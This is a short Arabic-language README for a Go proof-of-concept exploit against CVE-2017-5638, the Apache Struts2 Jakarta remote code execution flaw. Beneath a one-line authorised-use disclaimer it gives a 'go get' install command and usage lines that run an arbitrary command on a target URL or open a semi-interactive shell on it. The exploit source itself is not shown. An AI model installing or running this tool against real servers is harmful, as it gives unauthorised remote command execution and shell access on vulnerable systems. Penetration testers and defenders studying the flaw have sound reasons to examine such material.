استغلال إثبات المفهوم لـ CVE-2017-5638

استخدم هذا الاستغلال فقط على الأنظمة التي تملكها أو لديك حقوق صريحة لاختبارها

التثبيت

إذا كان لديك go مثبتًا بالفعل على جهازك، فإن go get هي الطريقة المثلى

go get github.com/Greynad/struts2-jakarta-inject

الاستخدام

تنفيذ أمر واحد

struts2-jakarta-inject -u <url> -c 'id'

صدفة شبه تفاعلية

struts2-jakarta-inject -u <url> -i